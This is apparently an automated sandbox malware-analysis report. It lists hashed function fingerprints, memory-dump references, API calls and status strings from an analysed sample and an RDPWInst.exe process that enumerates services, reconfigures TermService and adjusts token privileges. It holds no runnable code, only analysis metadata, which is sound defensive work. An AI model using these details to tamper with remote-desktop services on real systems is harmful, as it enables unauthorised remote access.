
Memory Dump Source

Source File: 00000000.00000002.1919321212.0000000000E9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e9d000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cf5a0e1c6d59a630aaada4cdee79efd95a677f4e9870a28e4e3b9616249e0c0
Instruction ID: 46f67ce8c52ac02b013b3ee1730fddf420e68d02a9d97cc141d9e6947b855648
Opcode Fuzzy Hash: 6cf5a0e1c6d59a630aaada4cdee79efd95a677f4e9870a28e4e3b9616249e0c0
Instruction Fuzzy Hash: 31F06D71408354AFEB248E16DD84B66FFD8EB91738F18C55AED485F283C279A844CBB1

Function 02AD0C10 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f3db5e9f8d38ceca686ee7015d6e105578873e960dec8903565d9afd24405f7
Instruction ID: 8a30fc93a3985f6f33d950720217628894194127f2c9fc0199e102cbc02721e7
Opcode Fuzzy Hash: 4f3db5e9f8d38ceca686ee7015d6e105578873e960dec8903565d9afd24405f7
Instruction Fuzzy Hash: 0E018B74A01245AFEB09EFA0E584BADBBF2AF88304F204059D402AB2A5DF719D44CB50

Function 02AD1FE8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a387de16f646d7664c31a9e7db30619891dc0ab68e054619960df299e0948a4
Instruction ID: 99ac6492e63ad4dfe527959b8405436055b0e6ae98c0090f2224005b82ae65cf
Opcode Fuzzy Hash: 3a387de16f646d7664c31a9e7db30619891dc0ab68e054619960df299e0948a4
Instruction Fuzzy Hash: 8DE09B73B401182BDB48E66E6C5177FB7DFEBC5660B28403AE40AE7381ED205D0247A4

Function 02AD1230 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 503b62236068f763cda6f9b5b096ddab8bd75921fd5ef08319701924c6d67d4d
Instruction ID: 4e2c7c8ad58660d1c0270bd70eb51c1d4afcbeec6ecf9142504b368e0c2f52da
Opcode Fuzzy Hash: 503b62236068f763cda6f9b5b096ddab8bd75921fd5ef08319701924c6d67d4d
Instruction Fuzzy Hash: 1EF05472A1020997DF15D764C4556EFBBB69F88700F418536D413A7240DE71690696D1

Function 02AD4058 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66373048752afb8340ee9caa9f5df48f794ecb0e55df3fd2dbe9330b9b6bc562
Instruction ID: d0259ef4468c085644df002167332156fd96e908f67b584383a7224cc54a7b38
Opcode Fuzzy Hash: 66373048752afb8340ee9caa9f5df48f794ecb0e55df3fd2dbe9330b9b6bc562
Instruction Fuzzy Hash: 7AF0E2323003008BC705BB7AE88179B37E6FBCAA11B04852AD506DB305EF38ED058BC1

Function 02AD12B8 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2b0fbd1c900c215fb29c06bc72e6b767a614d72bb1fad42d2365a25fde08f76
Instruction ID: 40dbffb997efaa4519c94ae49a3d94dfa2c15a6ecce19f0a8f3cb2c007d10051
Opcode Fuzzy Hash: b2b0fbd1c900c215fb29c06bc72e6b767a614d72bb1fad42d2365a25fde08f76
Instruction Fuzzy Hash: C4F0C9B4944204AFCB41FB74E98165D7BBAEB84701F904A698855DB268EB702E09CF81

Function 02AD3448 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d708970f9a2c7c6bd6cae977fbb66fabd4efdb115a48132486561b06acee5ad
Instruction ID: ddb34c371212a47253b3e8b0b0e10605b5f1fbc6991b2bb1156a1d0d023750ef
Opcode Fuzzy Hash: 5d708970f9a2c7c6bd6cae977fbb66fabd4efdb115a48132486561b06acee5ad
Instruction Fuzzy Hash: 83F08272E102099BDF05DB60C855AEFBBF69F88711F01852AD503B7280DFB5690686D2

Function 02AD4068 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d9dbc3f9627bd09a1cb235800d297c64549675dc203413e81f1a03a6d1e9c6b
Instruction ID: 0c2bb6fc20a5cf9ee9b2139e62096cbe50749632a3395cfd32ada62811ff6c62
Opcode Fuzzy Hash: 6d9dbc3f9627bd09a1cb235800d297c64549675dc203413e81f1a03a6d1e9c6b
Instruction Fuzzy Hash: 8FE06D323007008BC715BB7EE840AAB77EAEBC9A61314852AD606DB304EF74ED058BD1

Function 02AD1FF8 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbdf73646ee93a1023e49303ec72872e986bb9aaea61c38c45701e6066066e3e
Instruction ID: 0e754edab2e438c11d83dbdd459bf6c6dea88521feb0f64b6005d59e8caf05b7
Opcode Fuzzy Hash: dbdf73646ee93a1023e49303ec72872e986bb9aaea61c38c45701e6066066e3e
Instruction Fuzzy Hash: 22E04F22B441292B5A08E6AE689197FA6DFEAC86A0324413AE00EE7381DE611C0242A5

Function 02AD2D70 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85862168dfe044296a0c0e8b4162393ea06e55d8aee54bfecbd99183fec1613d
Instruction ID: fb3f668b6a583e9f72c3330dce1fef301fef7c1291fff1ac8348252ebde5fa91
Opcode Fuzzy Hash: 85862168dfe044296a0c0e8b4162393ea06e55d8aee54bfecbd99183fec1613d
Instruction Fuzzy Hash: 2BE04F363401104BCA08B769B814AAE37DFC7CAA61B44003AD61EC7654DE519C0687E0

Function 02AD16B8 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b09843495804134bead146d1048976f462e5c868a382162b1be8dc285377e26
Instruction ID: 58a81736aa1c1b6c9199335f5347f58c8eff8b4882db4d2c4a87053dcb326c63
Opcode Fuzzy Hash: 8b09843495804134bead146d1048976f462e5c868a382162b1be8dc285377e26
Instruction Fuzzy Hash: A7E020333442501BDB0567789C117A53F9E8F8F714F1844B5E545DF2E1DD5BD8158780

Function 02AD16C8 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94e231e18ea56b1baeb125d513758b517306e4cbe89d243a31778a6c5e954ecf
Instruction ID: 29776f30bb61a8e9edb1c97d7a601e8632a0c7ceb783755bc528e968cbe0f3a7
Opcode Fuzzy Hash: 94e231e18ea56b1baeb125d513758b517306e4cbe89d243a31778a6c5e954ecf
Instruction Fuzzy Hash: 25D02B723403206BD70436756C017A83ADD8B4A720F044066FA05DB2D1DD67DC0287C4

Function 02AD4FD0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 116589a7fea066e46f3c5001491f4ab47006e85ef9fa75ac0cef979976bd5d2b
Instruction ID: 9fadc335261a188c4ceb90af20308713a8bde018f19a6821c80eaf4e8251813e
Opcode Fuzzy Hash: 116589a7fea066e46f3c5001491f4ab47006e85ef9fa75ac0cef979976bd5d2b
Instruction Fuzzy Hash: 23E04FB2D40209EFCB80FFB8D90165E77B5FB45202F1041A9D805D7201EB309F04C791

Function 02AD0F51 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6573d510360011c5c2a211c7b572eedbd7f7b9a343c93bbd62d0985fd523fc5d
Instruction ID: 56725735ecea54c5f6289196c9c212366f4ca67b967fb1fb9ba48664871ece6e
Opcode Fuzzy Hash: 6573d510360011c5c2a211c7b572eedbd7f7b9a343c93bbd62d0985fd523fc5d
Instruction Fuzzy Hash: F2D0127150120CEBC710DFB09901459B7A8DB8A205B1005F5DC09D2110EA328A119691

Function 02AD1170 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0e09dd93d258b44db492fab9ec7d61d4134106b43be9aac275779f7e9feb6d0
Instruction ID: fde3f96b4ae6021987ef1b20c5a352cabb4189e277590ba173224a4b3a9249c1
Opcode Fuzzy Hash: a0e09dd93d258b44db492fab9ec7d61d4134106b43be9aac275779f7e9feb6d0
Instruction Fuzzy Hash: C4D017B1905248AFDB11DFB4C845B5D7BB8AB05240F210499E459D7241EA319E50C795

Function 02AD4FE0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66545cb7aac81bdad4501f9cdbf9f206ce4435aeeb2031cb09dc2f3467770c2a
Instruction ID: 21e69d506fd0bb754c20a2115c5f13d377dff76ad2430a5037ca5c174af5256a
Opcode Fuzzy Hash: 66545cb7aac81bdad4501f9cdbf9f206ce4435aeeb2031cb09dc2f3467770c2a
Instruction Fuzzy Hash: 45D017B1A0020CEF8B40FFA8E90155EB7F9EB44206B1045A89809E7204EA316F08DB91

Function 02AD51DB Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8de59cb28018bbf0e061ee7fdca70ed00dd5879cd4f58cbdc3da5a96cc5b107a
Instruction ID: abed2cad12a8d590c4d864d256ebcab5a3e2884dcd0fcd913806249b2d119794
Opcode Fuzzy Hash: 8de59cb28018bbf0e061ee7fdca70ed00dd5879cd4f58cbdc3da5a96cc5b107a
Instruction Fuzzy Hash: 1AD0527240E3C08FC3028B308A24A513FB1BE0224230E40EBD080CF2E3DA2A8888D722

Function 02AD4413 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69838bb5a28c2da43e1cb8224e8be2122dc2e265d1ea4b564bbec74a50f3e402
Instruction ID: 3f41f27d70a73397a4c0fd9c12d9876d566d64241fa45d4645a7514a55e6089f
Opcode Fuzzy Hash: 69838bb5a28c2da43e1cb8224e8be2122dc2e265d1ea4b564bbec74a50f3e402
Instruction Fuzzy Hash: 0EC0123110A3808FC3060A3188109267B79AE0224238A41EAA042CE2A3CA2AC9A8C7A1

Function 02AD0EFC Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47b40ceb9eba1e20e6a02a373d3fc138eb174493c1009ec8a0d6f504ffe5ad92
Instruction ID: 1bf4d38333e9f2b5e1f7803685775dc1c80482e82706c12ab4a2c0fe591b99d7
Opcode Fuzzy Hash: 47b40ceb9eba1e20e6a02a373d3fc138eb174493c1009ec8a0d6f504ffe5ad92
Instruction Fuzzy Hash: 70B01237B0001986CB04E6C9F8404ECFB30DBD4332F004033C30072040873125BAC764

Function 02AD0850 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 070ee6cccc3e15d46ee66ec50590e7777e9a8eff666fa558cb65bb3d3a3e7469
Instruction ID: 65cb2b11d56062c421e654ed4e990e3ec1c6050b64ab5e400853f98979c7670f
Opcode Fuzzy Hash: 070ee6cccc3e15d46ee66ec50590e7777e9a8eff666fa558cb65bb3d3a3e7469
Instruction Fuzzy Hash: 11900271044A0C8F494027967D095557BAC9ADA5157900071B50D555515AA574144595

Non-executed Functions

Function 02AD9498 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 895c3d27235bb3bef1d308c36e0a473f23a4840c32e472c0bec88024c23c72fb
Instruction ID: b3098fec2ea676ccde15ebb24404cf5e71f4015b1dd91d27c55bc18dc89fce6c
Opcode Fuzzy Hash: 895c3d27235bb3bef1d308c36e0a473f23a4840c32e472c0bec88024c23c72fb
Instruction Fuzzy Hash: BBB13B74E0024ADFDB14CFA9C8857EEBBF2AF88714F148529D816A7294EB74D845CF81

Function 02ADA168 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1414298cd2da8aec7ca07896948e0a9534258b5558d33909b0b74df00e37b522
Instruction ID: a9df76e46c2aed1148a617b40d84ebe4fbcc4900f1bac900805bc0a83573e7df
Opcode Fuzzy Hash: 1414298cd2da8aec7ca07896948e0a9534258b5558d33909b0b74df00e37b522
Instruction Fuzzy Hash: 3DB16EB0E00209CFDB14CFA9D8857EDBBF2BF88714F248529D816E7295EB759845CB81

Function 02AD9150 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919818828.0000000002AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ad0000_hloRQZmlfg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61bd8a38df90b620d356ec38c83d9435e556cd4ae0169b680c5f704928e5277d
Instruction ID: e73e6447e1825f1484546cc88878a647a88faf0cc632ec4f4d8a1ec59fc65daf
Opcode Fuzzy Hash: 61bd8a38df90b620d356ec38c83d9435e556cd4ae0169b680c5f704928e5277d
Instruction Fuzzy Hash: FD913EB0E0020ADFDF14DFA9C9857DEBBF2AF88714F148529E416A7294EB74D845CB81

Analysis Process: RDPWInst.exePID: 1564, Parent PID: 504COMMON

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	42

Executed Functions

Function 0043B7D4 Relevance: 33.6, APIs: 9, Strings: 10, Instructions: 336
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000005,00000000,0043BC5D,?,?,?,00447324,00000000,00000000,?,00443F06,00000000,00443FB2), ref: 0043B801
GetLastError.KERNEL32(00000000,ServicesActive,00000005,00000000,00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B80C
EnumServicesStatusExW.ADVAPI32(00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B8A2
GetLastError.KERNEL32(00000000,00000000,00000030,00000003,?,00000000,00000000,?,?,00000000,00000000), ref: 0043B8AF
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000030,00000003,?,00000000,00000000,?,?,00000000,00000000), ref: 0043B8BF
EnumServicesStatusExW.ADVAPI32(00000000,00000000,00000030,00000003,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0043B953
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000030,00000003,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0043B95D
GetLastError.KERNEL32(00000000,00000000,00000000,00000030,00000003,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0043B962
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B99F

Strings

$sD, xrefs: 0043B819, 0043B8CA, 0043B96F, 0043BA28, 0043BA5A, 0043BAA8, 0043BBED, 0043BC13
[+] TermService found (pid , xrefs: 0043BAAD
TermService, xrefs: 0043B9E3, 0043BA7D, 0043BA8C
[-] EnumServicesStatusEx error (code , xrefs: 0043B8CF, 0043B974
[-] Failed to set up TermService. Unknown error., xrefs: 0043BA5F
[-] TermService not found., xrefs: 0043BA2D
[*] No shared services found., xrefs: 0043BC18
ServicesActive, xrefs: 0043B7FA
[-] OpenSCManager error (code , xrefs: 0043B81E
[*] Shared services found: , xrefs: 0043BBF2

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseErrorHandleLastService$EnumServicesStatus$ManagerOpen
String ID: $sD$ServicesActive$TermService$[*] No shared services found.$[*] Shared services found: $[+] TermService found (pid $[-] EnumServicesStatusEx error (code $[-] Failed to set up TermService. Unknown error.$[-] OpenSCManager error (code $[-] TermService not found.
API String ID: 2770857348-2470772499
Opcode ID: bdcf77957b8ef17359aa2c2f35968ba8930b31ce6167e8ba152cfdf214f6386e
Instruction ID: fb74497bf6b161f68451673f63bd6f491a4d1cb4b87c09a1aee9fb4a9c308b37
Opcode Fuzzy Hash: bdcf77957b8ef17359aa2c2f35968ba8930b31ce6167e8ba152cfdf214f6386e
Instruction Fuzzy Hash: A1C15074A041049BD710FBB9DD42B5E76A5EB89308F11507FF640BB292CB3CAD058BAE

Function 0043B1A8 Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 118
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000001,00000000,0043B319,?,?,-00000001,00000000,?,?,0043BA8C,00000000,00000000,00000000,00000030), ref: 0043B1FE
GetLastError.KERNEL32(00000000,ServicesActive,00000001,00000000,0043B319,?,?,-00000001,00000000,?,?,0043BA8C,00000000,00000000,00000000,00000030), ref: 0043B209
OpenServiceW.ADVAPI32(00000000,00000000,00000002,00000000,ServicesActive,00000001,00000000,0043B319,?,?,-00000001,00000000,?,?,0043BA8C,00000000), ref: 0043B24F
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000002,00000000,ServicesActive,00000001,00000000,0043B319,?,?,-00000001,00000000,?,?,0043BA8C), ref: 0043B25B
GetLastError.KERNEL32(00000000,00000000,00000000,00000002,00000000,ServicesActive,00000001,00000000,0043B319,?,?,-00000001,00000000,?,?,0043BA8C), ref: 0043B260

Strings

$sD, xrefs: 0043B1CA, 0043B216, 0043B26D, 0043B2CD
[*] Configuring , xrefs: 0043B1CF
..., xrefs: 0043B1E1
[-] ChangeServiceConfig error (code , xrefs: 0043B2D2
[-] OpenSCManager error (code , xrefs: 0043B21B
ServicesActive, xrefs: 0043B1F7
[-] OpenService error (code , xrefs: 0043B272

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLastOpenService$CloseHandleManager
String ID: $sD$...$ServicesActive$[*] Configuring $[-] ChangeServiceConfig error (code $[-] OpenSCManager error (code $[-] OpenService error (code
API String ID: 48634454-398082305
Opcode ID: 3b1e76f9c62e1046217b3bbe464b976e02e2f47daf27cfab7c11257a6428595c
Instruction ID: ec3001641675e227f0f71ffcc16d431bf32a474d6a16b1f18b89db5f0a2815a5
Opcode Fuzzy Hash: 3b1e76f9c62e1046217b3bbe464b976e02e2f47daf27cfab7c11257a6428595c
Instruction Fuzzy Hash: 32318DA4708210AAE611B7B68D43B2F6598DF8D308F12917BB614A6693CB3C9D0195BF

Function 0043BF00 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF3D
OpenProcessToken.ADVAPI32(00000000,00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF43
GetLastError.KERNEL32(00000000,00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF4C
LookupPrivilegeValueW.ADVAPI32(00000000,00000000,?), ref: 0043BFA6
GetLastError.KERNEL32(00000000,00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BFAF

Strings

$sD, xrefs: 0043BF7E, 0043BFE1, 0043C063
[-] LookupPrivilegeValue error (code , xrefs: 0043BFB6
[-] OpenProcessToken error (code , xrefs: 0043BF53
[-] AdjustTokenPrivileges error (code , xrefs: 0043C038

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess$CurrentLookupOpenPrivilegeTokenValue
String ID: $sD$[-] AdjustTokenPrivileges error (code $[-] LookupPrivilegeValue error (code $[-] OpenProcessToken error (code
API String ID: 1401577899-1200187420
Opcode ID: 4f72a90d0289c3e65b588dbff969bb89f75e63602ae5a34113a3e67517c1ed7a
Instruction ID: 40249df541e28cb1c3cbeffac081f98f3db748ff3bf72c69c2aa91bf02ef4f1c
Opcode Fuzzy Hash: 4f72a90d0289c3e65b588dbff969bb89f75e63602ae5a34113a3e67517c1ed7a
Instruction Fuzzy Hash: E5412475E00218AFDB04EBE5DD81A9EB7B8EF49704F11407BF500F2291DA789D059B6A

Function 0043DC64 Relevance: 6.1, APIs: 4, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000002,?,?,0044BFA8,00447324,0043DEB8,00000000,0043E150,?,?,00447324), ref: 0043DC7A
FindResourceW.KERNEL32(00000000,00000001,00000010,00000000,00000000,00000002,?,?,0044BFA8,00447324,0043DEB8,00000000,0043E150,?,?,00447324), ref: 0043DC8A
LoadResource.KERNEL32(00000000,00000000,00000000,00000001,00000010,00000000,00000000,00000002,?,?,0044BFA8,00447324,0043DEB8,00000000,0043E150), ref: 0043DC97
FreeLibrary.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000010,00000000,00000000,00000002,?,?,0044BFA8,00447324,0043DEB8,00000000,0043E150), ref: 0043DCF5

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
